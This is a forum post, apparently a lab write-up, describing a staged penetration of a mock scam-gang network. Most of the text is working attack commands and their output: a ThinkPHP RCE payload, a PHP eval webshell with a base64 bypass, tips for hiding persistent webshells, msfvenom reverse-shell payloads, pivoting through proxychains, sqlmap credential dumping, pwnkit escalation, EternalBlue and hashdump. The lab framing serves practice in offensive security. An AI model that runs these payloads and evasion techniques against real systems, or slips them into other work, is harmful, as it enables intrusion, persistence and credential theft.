安全矩阵

 找回密码
 立即注册
搜索
查看: 455|回复: 0

【靶场练兵】记对一次模拟针对诈骗组织靶场的渗透实例

[复制链接]

102

主题

102

帖子

330

积分

中级会员

Rank: 3Rank: 3

积分
330
发表于 2023-5-15 19:49:57 | 显示全部楼层 |阅读模式
本帖最后由 jiangmingzi 于 2023-5-15 23:49 编辑

故事背景

在一个月黑风高的夜晚,小明无意间刷到一个招聘的信息,网页中的职位既符合他的工作要求,薪资待遇又出奇的高,奇怪的是这个网站在注册信息的时候需要填写姓名、手机号、身份证号、家庭住址、银行卡号,最后还需要进行人脸验证,但是小明已经被眼前的利益冲昏了头脑,便按照步骤注册了账号,不知道的是其实这个网站是一个诈骗网站,他会记录注册人的信息,并结合这些信息匹配人脸识别,最后轻而易举的把银行卡存款转移,被骗后小明痛心疾首,便向当地派出所报案......

当地派出所接到报案后连夜联系利刃信安攻防实验室,我们的故事从这里开始。

准备阶段

思路:
  1. 1.信息收集:端口服务类、目录类、框架
  2. 2.打点
  3. 3.跳板机权限维持
  4. 4.内网信息收集
复制代码
工具:

  1. nmap
  2. thinkphp专项漏洞工具
  3. hydra
  4. 自搜集字典
  5. 哥斯拉
  6. msf
  7. information_linux.sh
  8. suggester.sh提权项目
  9. socks_proxy项目
  10. proxychains4项目
  11. Allin项目
  12. sqlmap项目
  13. HackBrowserData
复制代码
打靶过程

这个页面做得很真实
诈骗团伙的服务器布局

开始行动
此次我们的任务担任市公安局网诈处工作人员,针对诈骗小明的网站服务器进行渗透攻击,目的是为获取管理员服务器权限,收集犯罪嫌疑人的通讯录、犯罪情节、作案手法,为方便日后公安机关抓捕犯罪嫌疑人打下夯实基础。

访问网页发现是一个招聘网站(待遇确实好,这要是真的咱也去瞧瞧~)


随便测试一下这个站点的功能吧

发现只有一个注册页面可以使用,分明就是一个clone的网站,然后其他都是超链接,有点太假了吧。。。。。。这都能被骗

尝试下有没有注入..

额(╯°□°)╯︵ ┻━┻这个不会就是一个静态页面吧,都不能登录的啊

得,开始信息收集吧
无上帝兵nmap走起

利刃信安注:

工具下载地址:

  1. https://nmap.org/
复制代码
  1. root@kali:~#

  2. nmap -T4 -sS -Pn -sV -f --mtu=16 192.168.1.11 --script http-title --script-args htp.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36"



  3. Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-04 05_51 EDT

  4. Nmap scan report for 192.168.1.11

  5. Host is up (0.00042s latency).

  6. Not shown: 994 filtered ports

  7. PORT STATE SERVICE

  8. 20/tcp closed ftp-data
  9. 21/tcp open ftp
  10. 22/tcp open ssh
  11. 80/tcp open http
  12. 888/tcp open accessbuilder
  13. 8888/tcp open sun-answerbook

  14. MAC Address: 00_0C_29_81_A6_6D (VMware)
  15. Device type: general purpose
  16. Running: Linux 3.X|4.X
  17. OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
  18. OS details: Linux 3.10 – 4.11

  19. Network Distance: 1 hop

  20. OS detection performed. Please report any incorrect results at
  21. https://nmap.org/submit/ .

  22. Nmap done: 1 IP address (1 host up) scanned in 8.97 seconds

  23. 可以看到目标存在ftp、ssh、http等端⼝,且是⼀个Linux的操作系统。
  24. 这里对防火墙进行了简单的绕过修改ua头,更改发包频率。
复制代码
没发现什么有用的服务目前只能爆破了,所以顺手探测一下目录结构吧,这里使用dirb探测,这个工具的优点就是可拓展性极高,适合单兵突进使用利刃信安注:

Kali内置dirb工具
  1. root@kali:~#

  2. dirb http://192.168.1.11 ~/Desktop/fuzzDict/dir.txt -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" -N 400 -z 500



  3. -----------------

  4. DIRB v2.22   
  5. By The Dark Raver
  6. -----------------

  7. START_TIME: Fri Apr 21 22:52:30 2023
  8. URL_BASE: http://192.168.1.11/
  9. WORDLIST_FILES: /root/Desktop/fuzzDict/dir.txt
  10. USER_AGENT: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
  11. OPTION: Ignoring NOT_FOUND code -> 400
  12. SPEED_DELAY: 500 milliseconds

  13. -----------------

  14. GENERATED WORDS: 7169                                                         

  15. ---- Scanning URL: http://192.168.1.11/ ----
  16. + http://192.168.1.11/robots.txt (CODE:200|SIZE:49)                                                                                                                                                              
  17. + http://192.168.1.11// (CODE:200|SIZE:85217)                                                                                                                                                                    
  18. + http://192.168.1.11/index.php (CODE:200|SIZE:931)                                                                                                                                                              

  19. -----------------
  20. END_TIME: Fri Apr 21 22:51:12 2023
  21. DOWNLOADED: 7169 - FOUND: 3



  22. 这就体现出dirb的强大了,可以设置ua,设置扫描速度等。
复制代码
这不ThinkPHP 5.X框架么(一开始没发现其实title的图标就已经暴露了,这操作有点菜了。。。)这不禁让我想到18年底爆出的该框架的远程命令执⾏漏洞,那就先⽤POC测试⼀下

  1. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
复制代码
利刃信安注:

关于漏洞利用的知识文库可以关注佩奇文库
  1. https://github.com/PeiQi0/PeiQi-WIKI-Book
复制代码
哦吼!成功出现了PHPinfo界⾯,说明该版本是存在这在漏洞的,接下来就可以直接上⼯具写⼊⼀句话了,当然也可以使⽤POC写⼊⼀句话,不过还是⼯具⽅便些。

一键化工具直接开撸,直接上个马子去管理工具操作了

利刃信安注:

工具下载地址:

  1. https://github.com/bewhale/thinkphp_gui_tools/releases
复制代码
上传成功!

访问一下这个马子,不过好像有点小问题啊,难道?

果真连接不上,难不成被WAF了?

利刃信安注:

工具下载地址:


  1. https://github.com/AntSwordProject/antSword/releases

  2. https://github.com/AntSwordProject/AntSword-Loader/releases
复制代码
看一下这个马子吧

  1. 写的是<?php @eval($_REQUEST['key']); ?>

  2. 现在是<?php @eval(['key']); ?>
复制代码
不难发现是$_REQUEST被过滤了,那就利用BASE64编码再试一下。
  1. echo “PD9waHAgQGV2YWwoJF9SRVFVRVNUWydrZXknXSk7ID8+” | base64 -d > mazi.php
复制代码
hhhh成功连上了,果然还是要多学各种奇技淫巧啊~

只是一个www权限,先搜集一下信息,顺便做一下权限加固吧,稍后看看有没有必要提权。

上哥斯拉吧,哥斯拉的优点是毋庸置疑的,作为新一代webshell管理工具他的功能相当强大。
利刃信安注:

工具下载地址:
  1. https://github.com/BeichenDream/Godzilla/releases
复制代码


shell多放几个,放的深一点,做到免杀、隐藏、时间戳合规,最好能和正常业务页面合二为一。


从刚才收集到的信息来看目前没有提权的必要(这里要讲一下,突破口作为第一个入口,它既是起点又是终点,所以这里动作一定要小,尽量需要什么就去做什么,而不是想做什么就做什么,这样很容易暴露来之不易的成果,把webshell尽量做好隐藏,那样就算所有都丢了,至少还有一个shell在手)

直接无敌shell脚本收集一波信息

  1. /www/wwwroot/ThinkPHP/public/ >

  2. wget http://192.168.1.1:8000/linux_information.sh



  3. --2023-04-22 13:28:52--  http://192.168.1.1:8000/linux_information.sh
  4. Connecting to 192.168.1.1:8000... connected.
  5. HTTP request sent, awaiting response... 200 OK
  6. Length: 1935 (1.9K) [application/x-sh]
  7. Saving to: 'linux_information.sh.1'

  8.      0K .                                                     100% 4.46M=0s

  9. 2023-04-22 13:28:52 (4.46 MB/s) - 'linux_information.sh.1' saved [1935/1935]

  10. /www/wwwroot/ThinkPHP/public/ > ./linux_information.sh
复制代码

查看all_info.txt看看有什么信息
这个是什么信息呢?跟进看看

哗,这不是我刚才注册时输入的个人信息么,还有小明的个人信息,可恶的骗子,(先备份一下然后赶紧把自己的信息删掉)

另一个无敌shell脚本闪亮登场
  1. /www/wwwroot/ThinkPHP/public/ >

  2. chmod +x ip-attack.sh

  3. /www/wwwroot/ThinkPHP/public/ >

  4. ./ip-attack.sh 192.168.22


  5. 192.168.22.11
  6. 192.168.22.22

  7. /www/wwwroot/ThinkPHP/public/ >
复制代码
两张网卡,看来有内有玄机呀,话不多说上个远控先,直接用MSF打开新格局

利刃信安注:

Kali内置msf渗透测试框架

  1. (www:/www/wwwroot/ThinkPHP/public) $

  2. ifconfig



  3. ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
  4.         inet 192.168.1.11  netmask 255.255.255.0  broadcast 192.168.1.255
  5.         inet6 fe80::1e2b:b9b2:a860:f19f  prefixlen 64  scopeid 0x20<link>
  6.         ether 00:0c:29:14:e1:ac  txqueuelen 1000  (Ethernet)
  7.         RX packets 252027  bytes 30045645 (28.6 MiB)
  8.         RX errors 0  dropped 0  overruns 0  frame 0
  9.         TX packets 296964  bytes 67093502 (63.9 MiB)
  10.         TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

  11. ens37: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
  12.         inet 192.168.22.11  netmask 255.255.255.0  broadcast 192.168.22.255
  13.         inet6 fe80::e0b:3e75:b590:1e06  prefixlen 64  scopeid 0x20<link>
  14.         ether 00:0c:29:14:e1:b6  txqueuelen 1000  (Ethernet)
  15.         RX packets 40424  bytes 2441704 (2.3 MiB)
  16.         RX errors 0  dropped 0  overruns 0  frame 0
  17.         TX packets 40403  bytes 3001295 (2.8 MiB)
  18.         TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

  19. lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
  20.         inet 127.0.0.1  netmask 255.0.0.0
  21.         inet6 ::1  prefixlen 128  scopeid 0x10<host>
  22.         loop  txqueuelen 1000  (Local Loopback)
  23.         RX packets 291  bytes 23767 (23.2 KiB)
  24.         RX errors 0  dropped 0  overruns 0  frame 0
  25.         TX packets 291  bytes 23767 (23.2 KiB)
  26.         TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

  27. virbr0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
  28.         ether 52:54:00:5a:99:42  txqueuelen 1000  (Ethernet)
  29.         RX packets 0  bytes 0 (0.0 B)
  30.         RX errors 0  dropped 0  overruns 0  frame 0
  31.         TX packets 0  bytes 0 (0.0 B)
  32.         TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
复制代码
做个马子直接干他!
  1. root@kali:~# ifconfig

  2. root@kali:~# msfvenom -p linux/x64/meterpreter/reverse_tcp
  3. LHOST=192.168.1.5 LPORT=80 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >system.elf
  4. 这里端口尽量选择辨识度高的,这样会让骗子认为自己连接了一个正常的网站,这里是制作了一个反连木马

  5. //m set SessionCommunicationTimeout 0  //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0


  6. //set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
复制代码

在kali中配置运⾏监听模块
  1. root@kali:~# msfdb init



  2. [+] Starting database
  3. [+] Creating database user 'msf'
  4. [+] Creating databases 'msf'
  5. [+] Creating databases 'msf_test'
  6. [+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
  7. [+] Creating initial database schema

  8. root@kali:~# msfconsole



  9. msf5 > handler -p linux/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 80
  10. [*] Payload handler running as background job 0.

  11. [*] Started reverse TCP handler on 0.0.0.0:80
  12. msf6 > jobs

  13. Jobs
  14. ====

  15.   Id  Name                    Payload                            Payload opts
  16.   --  ----                    -------                            ------------
  17.   0   Exploit: multi/handler  linux/x64/meterpreter/reverse_tcp  tcp://0.0.0.0:80
复制代码
通过哥斯拉将system.elf⽂件上传到目标站点中,放到/tmp目录吧,给大哥一个执行权限
  1. (www:/tmp) $ cd /tmp

  2. (www:/tmp) $ chmod +X system.elf

  3. (www:/tmp) $ ls -la |grep "system"

  4. -rwxrwxrwx   1 www                 www                   250 Apr 22 14:03 system.elf
  5. drwx------   3 root                root                   17 Apr 21 19:11 systemd-private-ab116d482b7d45e5adf89fc556be9be7-chronyd.service-tEZ4vZ
  6. drwx------   3 root                root                   17 Apr 21 19:11 systemd-private-ab116d482b7d45e5adf89fc556be9be7-cups.service-izudPs
复制代码
成功上线,此时MSF获取到shell,

把目标的路由加进来
  1. run autoroute -s 192.168.22.0/24

  2. run autoroute -p

  3. 这⼀步也可以使⽤run post/multi/manage/autoroute⾃动添加路由
复制代码
在MSF中添加代理,以便让攻击机访问192.168.22.0/24,
  1. msf6 auxiliary(server/socks_proxy) >

  2. search socks



  3. Matching Modules
  4. ================

  5.    #  Name                                     Disclosure Date  Rank    Check  Description
  6.    -  ----                                     ---------------  ----    -----  -----------
  7.    0  auxiliary/server/socks_proxy                              normal  No     SOCKS Proxy Server
  8.    1  auxiliary/server/socks_unc                                normal  No     SOCKS Proxy UNC Path Redirection
  9.    2  auxiliary/scanner/http/sockso_traversal  2012-03-14       normal  No     Sockso Music Host Server 1.5 Directory Traversal


  10. Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/http/sockso_traversal

  11. msf6 auxiliary(server/socks_proxy) > use 0
  12. msf6 auxiliary(server/socks_proxy) > options

  13. Module options (auxiliary/server/socks_proxy):

  14.    Name     Current Setting  Required  Description
  15.    ----     ---------------  --------  -----------
  16.    SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addr
  17.                                        esses.
  18.    SRVPORT  1080             yes       The port to listen on
  19.    VERSION  5                yes       The SOCKS version to use (Accepted: 4a, 5)


  20.    When VERSION is 5:

  21.    Name      Current Setting  Required  Description
  22.    ----      ---------------  --------  -----------
  23.    PASSWORD                   no        Proxy password for SOCKS5 listener
  24.    USERNAME                   no        Proxy username for SOCKS5 listener


  25. Auxiliary action:

  26.    Name   Description
  27.    ----   -----------
  28.    Proxy  Run a SOCKS proxy server



  29. View the full module info with the info, or info -d command.
复制代码
这里为了方便直接选择自带的proxychains4.conf 代理,这个代理其实也蛮好用的,修改以下内容:
  1. root@kali:~#

  2. vim /etc/proxychains.conf


  3. 加⼊以下内容:
  4. socks5 192.168.1.5 32000
复制代码
写个脚本进去探测一波内网存活
  1. [www@localhost public]$

  2. ./ip-attack.sh 192.168.22



  3. ./ip-attack.sh 192.168.22
  4. 192.168.22.11  本地第二张网卡
  5. 192.168.22.22
  6. 只有一个站点
复制代码
尝试入侵内网192.168.22.22。
  1. root㉿kali)-[~/Desktop]
  2. └─#

  3. proxychains4 nmap  -Pn -sT -sV 192.168.22.22  --script http-title --script-args htp.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36"



  4. Stats: 0:07:19 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
  5. NSE Timing: About 83.33% done; ETC: 03:36 (0:00:36 remaining)
  6. Nmap scan report for 192.168.22.22
  7. Host is up (0.0039s latency).
  8. Not shown: 994 closed tcp ports (conn-refused)
  9. PORT     STATE SERVICE         VERSION
  10. 21/tcp   open  ftp             Pure-FTPd
  11. 22/tcp   open  ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
  12. 80/tcp   open  http            nginx
  13. 888/tcp  open  accessbuilder?
  14. 3306/tcp open  mysql           MySQL (unauthorized)
  15. 8888/tcp open  sun-answerbook?
  16. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  17. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  18. Nmap done: 1 IP address (1 host up) scanned in 440.09 seconds
复制代码
用Allin走一遍看看有没有洞
  1. root㉿kali)-[~/Desktop/AlliN-2.4.1]
  2. └─#

  3. proxychains4 python AlliN.py --host 192.168.22.22 -p 21,22,25,60,80,443,3306 --timeout 15 -t 3



  4. [proxychains] config file found: /etc/proxychains4.conf
  5. [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
  6. [proxychains] DLL init: proxychains-ng 4.16


  7. █████╗ ██╗     ██╗     ██╗███╗   ██╗                                                                                                                                                            
  8. ██╔══██╗██║     ██║     ██║████╗  ██║                                                                                                                                                            
  9. ███████║██║     ██║     ██║██╔██╗ ██║                                                                                                                                                            
  10. ██╔══██║██║     ██║     ██║██║╚██╗██║   v2.4.0 #3.11.1                                                                                                                                            
  11. ██║  ██║███████╗███████╗██║██║ ╚████║                                                                                                                                                            
  12. ╚═╝  ╚═╝╚══════╝╚══════╝╚═╝╚═╝  ╚═══╝                                                                                                                                                            



  13. Timelocal:  Sun Apr 23 01:23:18 2023 |  Threads:  3
  14. /root/Desktop/AlliN-2.4.1/AlliN.py:8928: DeprecationWarning: setDaemon() is deprecated, set the daemon attribute instead
  15.   t.setDaemon(True)
  16. /root/Desktop/AlliN-2.4.1/AlliN.py:8932: DeprecationWarning: setDaemon() is deprecated, set the daemon attribute instead
  17.   dt.setDaemon(True)

  18. [  http://192.168.22.22:21  | Server:None |  200  | Size:0 |  证书错误   ]            
  19. [proxychains] Strict chain  ...  192.168.1.5:32000  ...  192.168.22.22:22  ...  OK
  20. ...  OK
  21. [  http://192.168.22.22:22  | Server:None |  200  | Size:0 |  证书错误   ]            
  22. [proxychains] Strict chain  ...  192.168.1.5:32000  ...  192.168.22.22:25 [proxychains] Strict chain  ...  192.168.1.5:32000  ...  192.168.22.22:25  ...  OK
  23. <--denied
  24. <--denied>>                       ]   4/14 ( 28%) 10 to Go
  25. [proxychains] Strict chain  ...  192.168.1.5:32000  ...  192.168.22.22:60 [proxychains] Strict chain  ...  192.168.1.5:32000  ...  192.168.22.22:60 [proxychains] Strict chain  ...  192.168.1.5:32000  ...  192.168.22.22:80 <--denied
  26. [proxychains] Strict chain  ...  192.168.1.5:32000  ...  192.168.22.22:80 <--denied
  27. [proxychains] Strict chain  ...  192.168.1.5:32000  ...  192.168.22.22:443 <--denied
  28. [proxychains] Strict chain  ...  192.168.1.5:32000  ...  192.168.22.22:3306  ...  OK
  29. ...  OK
  30. ...  OK>>>>>>>>>>>>>>>>>>        ]  11/14 ( 78%)  3 to Go
  31. [  http://192.168.22.22:80 |  [ PHP ]   | Server:nginx |  200  | Size:6426 |  内容管理平台 - Powered By BageCMS   ]            
  32. <--socket error or timeout!
  33. [ >>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ]  14/14 (100%)  0 to Go

  34. Task completed                                                                                                                                                                                    

  35. Total time taken 41.546850 seconds

  36. 与fscan号称内网一键化探测双雄
  37. 打内网要的就是速度,这种项目简直天助
复制代码
内容管理平台访问他一波
八哥cms去网上找下历史漏洞,都是后台的漏洞啊,看来得先走一波后台路径了



想法正确,可是好像不是这个目录呀,祭出单身20年搜集的大字典吧
  1. (root㉿kali)-[~/Desktop/fuzzDict]
  2. └─#

  3. proxychains4 dirb http://192.168.22.22 ~/Desktop/fuzzDict/dir.txt -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" -N 400

  4.       

  5. [proxychains] config file found: /etc/proxychains4.conf
  6. [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
  7. [proxychains] DLL init: proxychains-ng 4.16

  8. -----------------
  9. DIRB v2.22   
  10. By The Dark Raver
  11. -----------------

  12. START_TIME: Sun Apr 23 02:06:09 2023
  13. URL_BASE: http://192.168.22.22/
  14. WORDLIST_FILES: /root/Desktop/fuzzDict/dir.txt
  15. USER_AGENT: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
  16. OPTION: Ignoring NOT_FOUND code -> 400

  17. -----------------

  18. GENERATED WORDS: 7171                                                         

  19. ---- Scanning URL: http://192.168.22.22/ ----
  20. [proxychains] Strict chain  ...  192.168.1.3:32000  ...  192.168.22.22:80  ...  OK
  21. + http://192.168.22.22/robots.txt (CODE:200|SIZE:98)                                                                                                                  
  22. [proxychains] Strict chain  ...  192.168.1.5:32000  ...  192.168.22.22:80  ...  OK                                                                                                                                                                        
  23. [proxychains] Strict chain  ...  192.168.1.5:32000  ...  192.168.22.22:80  ...  OK                                                                                    
  24. [proxychains] Strict chain  ...  192.168.1.5:32000  ...  192.168.22.22:80  ...  OK                                                                                                                                                                        
  25. ==> DIRECTORY: http://192.168.22.22/assets/                                                                                                                           
  26. + http://192.168.22.22/assets/ (CODE:403|SIZE:146)
复制代码
虽然说啥也没扫出来(看来单身没用了),但是发现了robots.txt文件,瞧瞧去

这就对了,可现在又有一个难题,这是要爆破么?有验证码不太好搞啊!!!随便试几个先

完蛋,进不去了。。。。。

这?这是啥?

卧槽,这个管理员真的可以的,"太聪明了",把账号密码保存在这里

难不成改密码了?

难道是?sql?


prefect!注它注它
敢不敢再大一点....算了算了,sqlmap走起吧

利刃信安注:

脚本下载地址:
  1. https://github.com/sqlmapproject/sqlmap/releases
复制代码

  1. (root㉿kali)-[~/Desktop/fuzzDict]
  2. └─#

  3. proxychains4 sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=*" -p keyword --random-agent --dbs`
复制代码
  1. available databases [3]:
  2. [*] bagecms
  3. [*] information_schema
  4. [*] test
  5. 三个库
复制代码
继续撸,快速撸
  1. (root㉿kali)-[~/Desktop/fuzzDict]
  2. └─#

  3. proxychains4 sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=*" -p keyword --random-agent -D bagecms --tables --batch



  4. Database: bagecms
  5. [18 tables]
  6. +-------------------+
  7. | bage_ad           |
  8. | bage_admin        |
  9. | bage_admin_group  |
  10. | bage_admin_logger |
  11. | bage_attr         |
  12. | bage_attr_val     |
  13. | bage_catalog      |
  14. | bage_config       |
  15. | bage_link         |
  16. | bage_page         |
  17. | bage_post         |
  18. | bage_post_2tags   |
  19. | bage_post_album   |
  20. | bage_post_comment |
  21. | bage_post_tags    |
  22. | bage_question     |
  23. | bage_special      |
  24. | bage_upload       |
  25. +-------------------+
复制代码
冲啊冲啊
  1. (root㉿kali)-[~/Desktop/fuzzDict]
  2. └─#

  3. proxychains4 sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=*" -p keyword --random-agent -D bagecms -T bage_admin --columns --batch



  4. Database: bagecms
  5. Table: bage_admin
  6. [15 columns]
  7. +-----------------+----------------------+
  8. | Column          | Type                 |
  9. +-----------------+----------------------+
  10. | create_time     | int(10)              |
  11. | email           | varchar(100)         |
  12. | group_id        | smallint(5) unsigned |
  13. | id              | int(10) unsigned     |
  14. | last_login_ip   | char(15)             |
  15. | last_login_time | int(10)              |
  16. | login_count     | int(10) unsigned     |
  17. | mobile          | varchar(20)          |
  18. | notebook        | text                 |
  19. | password        | char(32)             |
  20. | qq              | varchar(15)          |
  21. | realname        | varchar(100)         |
  22. | status_is       | enum('Y','N')        |
  23. | telephone       | varchar(20)          |
  24. | username        | char(50)             |
  25. +-----------------+----------------------+
复制代码
冲他冲他!
  1. (root㉿kali)-[~/Desktop/fuzzDict]
  2. └─#

  3. proxychains4 sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=*" -p keyword --random-agent -D bagecms -T bage_admin --dump --batch



  4. Database: bagecms                                                                                                                                                      
  5. Table: bage_admin
  6. [1 entry]
  7. +----+----------+----+---------------------+---------+------------------+-----------------------------------------+----------+----------+-----------+-----------+-------------+-------------+---------------+-----------------+
  8. | id | group_id | qq | email               | mobile  | notebook         | password                                | realname | username | status_is | telephone | create_time | login_count | last_login_ip | last_login_time |
  9. +----+----------+----+---------------------+---------+------------------+-----------------------------------------+----------+----------+-----------+-----------+-------------+-------------+---------------+-----------------+
  10. | 1  | 1        | 0  | bagecms@bagecms.com | <blank> | 按照上级领导指示 | 9d3cf2745456d886e03ce5d19e425db9 (liar) | <blank>  | admin    | Y         | <blank>   | 1569240455  | 22          | 192.168.22.1  | 1682231551      |
  11. +----+----------+----+---------------------+---------+------------------+-----------------------------------------+----------+----------+-----------+-----------+-------------+-------------+---------------+-----------------+
复制代码
嘲讽啊嘲讽啊!


定让你让你有来无回!


找一下getshell的地方

模板处看着可以试一下

构造网页访问我的shell
  1. http://192.168.22.22/index.php?r=tag
  2. 这里一看就是组件控制,直接r=组件即可
复制代码


拿下!蚁剑连一波转冰蝎
找一个目录直接传


哥斯拉连他
再上无敌shell脚本

用自带的程序是永远的王道
  1. /www/wwwroot/upload/assets/ >./linux_information.sh
复制代码
没发现啥有用的?这不可能,都叫内容管理平台了,没有内容叫这名字干嘛?手动找一波

果然有东西,information_people?有种不祥的预感,提权进去看看有啥东西

直接msf提权吧,方便快捷。
做个马子利用哥斯拉将system.elf传上去

  1. (root㉿kali)-[~/Desktop]
  2. └─#

  3. msfvenom -p linux/x64/meterpreter/bind_tcp  LPORT=10000 -f elf >system.elf

  4. 内网环境需要我们主动去连接,而不是对方反连我们
复制代码

哥斯拉执行./system.elf

老一套添加路由
  1. meterpreter >run post/multi/manage/autoroutemsf6 post(multi/recon/local_exploit_suggester) >
  2. run
复制代码

漫长的等待

  1. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > sessions

  2. Active sessions
  3. ===============

  4.   Id  Name  Type                   Information                  Connection
  5.   --  ----  ----                   -----------                  ----------
  6.   1         meterpreter x64/linux  www @ localhost.localdomain  192.168.1.5:80 -> 192.168.1.11:51460 (192.168.1.11)
  7.   3         meterpreter x64/linux  www @ 192.168.22.22          192.168.22.11:42074 -> 192.168.22.22:6666 via session 1 (192.168.22.22)
  8.   5         meterpreter x64/linux                               192.168.22.11:38806 -> 192.168.22.22:4444 via session 1 (192.168.22.22)
复制代码
去看看那个文件里到底是啥东西

贩卖人口!这些可恶的骗子!一定要重判!

继续往深探
内网存活探测。


  1. (root㉿kali)-[~/Desktop]
  2. └─#

  3. proxychains4 nmap  -Pn -sT 192.168.33.33



  4. [proxychains] config file found: /etc/proxychains4.conf
  5. [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
  6. [proxychains] DLL init: proxychains-ng 4.16
  7. Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-23 12:39 EDT


  8. Nmap scan report for 192.168.33.33
  9. Host is up (0.050s latency).
  10. Not shown: 990 closed tcp ports (conn-refused)
  11. PORT      STATE SERVICE
  12. 135/tcp   open  msrpc
  13. 139/tcp   open  netbios-ssn
  14. 445/tcp   open  microsoft-ds
  15. 3389/tcp  open  ms-wbt-server
  16. 49152/tcp open  unknown
  17. 49153/tcp open  unknown
  18. 49154/tcp open  unknown
  19. 49155/tcp open  unknown
  20. 49156/tcp open  unknown
  21. 49157/tcp open  unknown

  22. Nmap done: 1 IP address (1 host up) scanned in 63.84 second
  23. msf添加路由后可以直接走到之前代理上,如果想再添加一个代理也可以
复制代码
开着445、139、135、3389 尝试打一波永恒之蓝
  1. msf >

  2. use windows/smb/ms17_010_psexec

  3. msf6 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.33.33
  4. RHOST => 192.168.33.33
  5. msf6 exploit(windows/smb/ms17_010_psexec) > set payload windos/meterpreter/bind_tcp
  6. payload =>windos/meterpreter/bind_tcp
  7. msf6 exploit(windows/smb/ms17_010_psexec) > options

  8. Module options (exploit/windows/smb/ms17_010_psexec):

  9.    Name                  Current Setting                                    Required  Description
  10.    ----                  ---------------                                    --------  -----------
  11.    DBGTRACE              false                                              yes       Show extra debug trace info
  12.    LEAKATTEMPTS          99                                                 yes       How many times to try to leak transaction
  13.    NAMEDPIPE                                                                no        A named pipe that can be connected to (leave blank for auto)
  14.    NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/na  yes       List of named pipes to check
  15.                          med_pipes.txt
  16.    RHOSTS                192.168.33.33                                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas
  17.                                                                                       ploit.html
  18.    RPORT                 445                                                yes       The Target port (TCP)
  19.    SERVICE_DESCRIPTION                                                      no        Service description to be used on target for pretty listing
  20.    SERVICE_DISPLAY_NAME                                                     no        The service display name
  21.    SERVICE_NAME                                                             no        The service name
  22.    SHARE                 ADMIN$                                             yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder
  23.                                                                                        share
  24.    SMBDomain             .                                                  no        The Windows domain to use for authentication
  25.    SMBPass                                                                  no        The password for the specified username
  26.    SMBUser                                                                  no        The username to authenticate as


  27. Payload options (windows/meterpreter/bind_tcp):

  28.    Name      Current Setting  Required  Description
  29.    ----      ---------------  --------  -----------
  30.    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  31.    LPORT     4444             yes       The listen port
  32.    RHOST     192.168.33.33    no        The target address


  33. Exploit target:

  34.    Id  Name
  35.    --  ----
  36.    0   Automatic



  37. View the full module info with the info, or info -d command.

  38. msf6 exploit(windows/smb/ms17_010_psexec) > run

  39. [*] 192.168.33.33:445 - Target OS: Windows 7 Ultimate 7601 Service Pack 1
  40. [*] 192.168.33.33:445 - Built a write-what-where primitive...
  41. [+] 192.168.33.33:445 - Overwrite complete... SYSTEM session obtained!
  42. [*] 192.168.33.33:445 - Selecting PowerShell target
  43. [*] 192.168.33.33:445 - Executing the payload...
  44. [+] 192.168.33.33:445 - Service start timed out, OK if running a command or non-service executable...
  45. [*] Started bind TCP handler against 192.168.33.33:4444
  46. [*] Sending stage (175686 bytes) to 192.168.33.33
  47. [*] Meterpreter session 6 opened (192.168.33.22:42898 -> 192.168.33.33:4444 via session 3) at 2023-04-24 14:46:13 +0800

  48. meterpreter > getuid
  49. Server username: NT AUTHORITY\SYSTEM
复制代码
做个进程迁移直接爆破一波密码
  1. meterpreter > getsystem
  2. ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
  3. meterpreter > run windows/gather/smart_hashdump

  4. [*] Running module against WIN-POVQ8FCTTO4
